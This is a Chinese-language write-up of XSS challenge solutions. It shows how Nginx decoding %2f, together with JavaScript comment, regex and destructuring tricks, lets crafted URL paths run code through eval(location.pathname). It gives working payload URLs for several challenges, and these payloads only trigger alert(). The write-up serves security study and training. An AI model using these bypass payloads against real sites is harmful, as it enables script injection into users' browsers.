一些BAT的XSS实例(六)续集篇
字数 1522 2025-08-26 22:11:40
Nginx解析特性与XSS绕过技术详解
前言
本文基于BAT XSS实例系列的第11、12题,深入分析利用Nginx解析特性进行XSS绕过的技术细节。这两道题目展示了如何结合服务器解析规则、JavaScript语法特性和路径处理机制来实现XSS攻击。
基础知识
location.pathname属性
location.pathname返回URL中域名后的路径部分,不包括hash(#)和search(?)部分。
参考文档:
Nginx的%2f解析特性
Nginx会自动将URL中的%2f解码为斜杠/,而IIS和Apache则不会。这是本题的关键知识点。
参考文档:
第11题解析
题目源码分析
eval(location.pathname);
解题思路
-
基本思路:需要在URL路径中构造XSS payload,但直接添加字符会导致404,因为路径不存在。
-
路径合法化:
- 尝试构造:
http://px1624.sinaapp.com/test/xsstest11/1111111111/../ - 但URL解析优先级会将其还原为
/test/xsstest11/
- 尝试构造:
-
利用Nginx特性:
- 使用
%2f代替斜杠:http://px1624.sinaapp.com/test/xsstest11/1111111111%2f..%2f - 这样Nginx会解析为合法路径,而JavaScript仍看到原始字符
- 使用
-
JavaScript语法构造:
- 需要确保
eval执行的代码语法正确 - 可利用:
//单行注释/* */多行注释/regex/正则表达式/除法运算符
- 需要确保
-
最终payload:
/*/..%2ftest/xsstest11/*/alert(11);/..%2f../- 路径解析:
/*/../test/xsstest11/*/alert(11)/../→ 实际指向/test/xsstest11/ - JavaScript解析:
/*/..%2ftest/xsstest11/*/被注释alert(11);执行/..%2f../作为正则表达式
- 路径解析:
第12题解析
题目源码分析
if(location.pathname.indexOf('xsstest12')>0){
eval(location.pathname);
}
解题思路
-
限制条件:
- 路径必须包含'xsstest12'
- 路径长度有限制
-
基本构造:
/test//xsstest12/alert(12)/..%2f- 但会导致JavaScript语法错误
-
语法修正:
- 使用
//作为正则表达式开始和注释 - 最终构造:
/test//xsstest12/alert(12);var/**/xsstest12=1//..%2f..%2f..%2f..%2f - 解释:
/test/作为正则表达式//除法运算符xsstest12作为变量名var/**/xsstest12=1定义变量避免未定义错误//..%2f..%2f..%2f..%2f注释掉剩余部分并确保路径合法
- 使用
-
更简洁解法(Huuuuu提供):
/test//xsstest12/alert(12);var[xsstest12]=/..%2f/- 使用ES6解构赋值定义变量
其他优秀解法
第11题最短解(lala提供)
/test/;alert(11)//..%2f../xsstest11/
- 利用
//注释掉路径后半部分
第10题解法
/test/xsstest10/?px=`}\%27-{a:`}-alert(1)script>
- 使用模板字符串构造
第3题解法
/test/xsstest3/?px=*/{alert(1)
- 利用两次注释符配合构造
技术要点总结
- Nginx解析特性:
%2f自动解码为/ - 路径处理:需要构造既符合服务器路径解析又符合JavaScript语法的URL
- JavaScript语法技巧:
- 注释(
//,/* */) - 正则表达式
- 运算符
- ES6特性(解构赋值)
- 注释(
- 调试方法:
- 断点调试
- 控制台分析
- 本地代码映射
学习建议
- 深入理解Web服务器(如Nginx)的URL解析规则
- 熟练掌握JavaScript的各种语法特性
- 练习多种XSS构造技巧的组合使用
- 通过实际调试理解浏览器和服务器对URL的不同处理方式
这些技术虽然用于XSS绕过,但同样适用于Web安全防御,理解攻击方法才能更好地防护。